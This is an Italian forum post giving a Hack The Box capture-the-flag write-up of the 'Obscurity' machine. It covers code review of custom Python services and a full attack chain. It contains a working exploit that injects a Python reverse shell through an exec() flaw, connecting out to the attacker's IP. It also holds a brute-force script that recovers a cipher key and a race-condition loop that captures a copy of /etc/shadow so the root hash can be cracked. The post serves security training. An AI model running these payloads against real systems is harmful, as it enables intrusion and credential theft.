Discussione HTB Writeups 0x05 - Obscurity

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,767
1,825
HTB Writeups 0x05 - Obscurity (4.8/10)
1 rAbf8JTlmyIRHnxF96CrIQ.png

Abilità affinate:
- Code review
- Reversing
- Python coding
- Cracking shadow file


Tools utilizzati:
- nmap
- owasp zap
- python
- john


Introduzione & Foothold:
Obscurity è una macchina Linux di Media difficoltà, contenente componenti completamente custom, che rispetta il detto "Security through Obscurity".

Iniziamo come sempre con una scansione delle porte con nmap
Bash:
# Nmap 7.80 scan initiated Fri Feb 21 22:01:19 2020 as: nmap -A -O --script=banner -o nmap.txt 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.048s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Fri, 21 Feb 2020 21:03:21
|     Server: BadHTTPServer
|     Last-Modified: Fri, 21 Feb 2020 21:03:21
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!--
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/21%Time=5E50452A%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Fri,\x2021\x20Feb\x2020
SF:20\x2021:03:21\nServer:\x20BadHTTPServer\nLast-Modified:\x20Fri,\x2021\
SF:x20Feb\x202020\x2021:03:21\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Fri,\x2021\x20Feb\x202020\x2021:03:21\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Fri,\x2021\x20Feb\x202020\x2021:03:21\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.18 (92%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.16 (91%), Crestron XPanel control system (91%), Adtran 424RG FTTH gateway (90%), Linux 2.6.32 (90%), Linux 3.1 - 3.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   47.56 ms 10.10.14.1
2   47.70 ms 10.10.10.168

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 21 22:01:52 2020 -- 1 IP address (1 host up) scanned in 33.43 seconds
Troviamo aperte la porta 22, con OpenSSH 7.6p1, e la porta 8080, con BadHTTPServer, un web server completamente custom.
Visitiamo il contenuto del web server per trovare una seire di pagina statiche, apparentemente inutili, ma una delle quali contenente un messaggio per gli sviluppatori:
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory
Screenshot_2020-02-22_18-28-59.png

Bene, sappiamo che esiste una cartella di developement contenente il file SuperSecureServer.py... troviamola!
Per fare ciò, possiamo utilizzare un qualunque programma per fare fuzzing, come wfuzz, ffuf,zaproxy etc...
Screenshot_2020-02-22_18-55-59.png

Fuzzato, scopriamo che il file è contenuto su http://10.10.10.168:8080/develop/SuperSecureServer.py

Scarichiamo il file e analizziamolo:
Python:
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["documentc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):       
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):   
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode,
        dateSent = dateSent, server = server,
        modified = modified, length = length,
        contentType = contentType, connectionType = connectionType,
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}
Lo script gestisce le richieste client-server al web server, ma contiene una vulnerabilità nel segmento di codice
Python:
path = urllib.parse.unquote(path)
try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
poichè viene eseguito un exec su info, che a sua volta conterrà path, una variabile che possiamo popolare a piacimento e che verrà iniettata all'interno dell'exec.

Costruiamo quindi uno script che ci permetta di exploitare la vulnerabilità:
Python:
import requests
import urllib
import os

target = 'http://10.10.10.168:8080/'

expl = 'tmp\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

payload = urllib.parse.quote(expl)
print("payload")
print(target + payload)

r = requests.get(target+payload)

print(r.headers)
print(t.text)
Questo script inietterà una reverse-shell verso il nostro IP, sulla porta 9999, poichè il contenuto della variabile passata all'istruzione exec comporrà questo payload:
exec(output = 'Document: tmp'
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])
a='
' )
Dove in blu viene mostrata la sintassi del comando, in verde il codice previsto dall'applicazione e in rosso il payload iniettato

2020-02-27_15-08-41.png


Lateral movement to Robert:
Ottenuta la shell come www-data, eseguiamo un po' di post-exploitation per scoprire che l'utente della macchina si chiama Robert. Visitiamo la sua home directory e per scoprire che possiamo visitarla e leggerne il contenuto dei files.
2020-02-27_18-31-47.png

Troviamo una serie di script, tra cui un server SSH custom (BetterSSH), un tool di crypt-decrypt (SuperSecureCrypt.py) e un insieme di file per eseguire delle prove.

Il codice si SuperSecureCrypt.py è il seguente
Python:
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)
mentre il contenuto di check.txt, out.txt e passwordreminder.txt è
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# hd out.txt
00000000  c2 a6 c3 9a c3 88 c3 aa  c3 9a c3 9e c3 98 c3 9b  |................|
00000010  c3 9d c3 9d c2 89 c3 97  c3 90 c3 8a c3 9f c2 85  |................|
00000020  c3 9e c3 8a c3 9a c3 89  c2 92 c3 a6 c3 9f c3 9d  |................|
00000030  c3 8b c2 88 c3 9a c3 9b  c3 9a c3 aa c2 81 c3 99  |................|
00000040  c3 89 c3 ab c2 8f c3 a9  c3 91 c3 92 c3 9d c3 8d  |................|
00000050  c3 90 c2 85 c3 aa c3 86  c3 a1 c3 99 c3 9e c3 a3  |................|
00000060  c2 96 c3 92 c3 91 c2 88  c3 90 c3 a1 c3 99 c2 a6  |................|
00000070  c3 95 c3 a6 c3 98 c2 9e  c2 8f c3 a3 c3 8a c3 8e  |................|
00000080  c3 8d c2 81 c3 9f c3 9a  c3 aa c3 86 c2 8e c3 9d  |................|
00000090  c3 a1 c3 a4 c3 a8 c2 89  c3 8e c3 8d c3 9a c2 8c  |................|
000000a0  c3 8e c3 ab c2 81 c3 91  c3 93 c3 a4 c3 a1 c3 9b  |................|
000000b0  c3 8c c3 97 c2 89 c2 81  76                       |........v|
000000b9
Bash:
root@kali:~/Documents/CTF/HTB/Machine/Obscurity/robert# hd passwordreminder.txt
00000000  c2 b4 c3 91 c3 88 c3 8c  c3 89 c3 a0 c3 99 c3 81  |................|
00000010  c3 91 c3 a9 c2 af c2 b7  c2 bf 6b                 |..........k|
0000001b
Abbiamo bisogno di trovare la chiave per poter decifrare il file passwordreminder.txt e autenticarci come utente robert.
Per farlo, dobbiamo analizzare lo script di cifratura e crackare out.txt

Siccome out.txt e check.txt sono "fratelli" (dipendono uno dall'altro), ciò che vogliamo fare è utilizzare il meccanismo di criptazione di SuperSecureCrypt.py per fare brute-force di ogni carattere dell'alfabeto con ogni file di check.txt, fino a ottenere out.txt
Per farlo, ci basterà costruire un rapido script in python
Python:
import string

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner+= "################################\n"
banner+= "#        BRUTE FORCE MODE      #\n"
banner+= "################################"
print(banner)

key = ""

with open('check.txt','r',encoding='UTF-8') as f:
    clearFile = f.read()

with open('out.txt','r',encoding='UTF-8') as f:
    cryptedFile = f.read()
    indCrypt = 0
    for cryptChr in cryptedFile:    # ciclo ogni carattere criptato
                
        for incr in range(1,255):    # provo ogni valore di chiave
            newChr = ord(cryptChr)
            newChr = chr((newChr - incr) % 255)
            if newChr == clearFile[indCrypt]:
                key += chr(incr)
                break                # vado alla lettera criptata successiva
        indCrypt = indCrypt +1        # tengo il conto della posizione del carattere

    print(key)
Eseguendo lo script, otterremo la password, e tramite la password potremo decodificare passwordreminder.txt
2020-02-27_18-46-47.png
2020-02-27_18-55-35.png

Password trovata! Ora possiamo usarla tramite il comando su per diventare l'utente
Robert

Privilege Escalation:

Come del resto tutta la macchina, anche il percorso di privilege escalation si basa sull'exploiting di una componente custom della box.
Eseguendo il comando sudo -l noteremo come l'utente possa eseguire con permessi di amministratore lo script BetterSSH.py, il cui sorgente è il seguente
Python:
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
Qui possiamo seguire due percorsi per ottenere i permessi di root:
1. Intercettare il file con il contenuto di /etc/shadow
2. Sfruttare la vulnerabilità del codice

Per risparmiare tempo, ho deciso di seguire il primo percorso.
Poichè lo script salva temporaneamente il contenuto di /etc/shadow all'interno di un file con nome casuale in /tmp/SSH, è possibile intercettare tale file e spostarlo prima che lo script lo rimuova.
Per farlo, creiamo il seguente script
Bash:
#!/bin/bash

while :
do
    find "/tmp/SSH" -type f -exec mv {} /tmp/tmp \;
done
e lanciamolo, dopodichè lanciamo BetterSSH.py come utente root.
2020-02-27_21-20-57.png

Il programma andrà in errore poichè non riuscirà a cancellare il file che abbiamo intercettato. In compenso però, aprendo il file, potremo estrarre l'hash dell'utente root per craccarlo con john.
Una volta ottenuta la password, potremo usare il comando su per autenticarci come utente root.
2020-02-27_21-34-11.png


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Notoriety wasn't as good as fame, but was heaps better than obscurity.
- Neil Gaiman

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Autore: 0xbro
Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.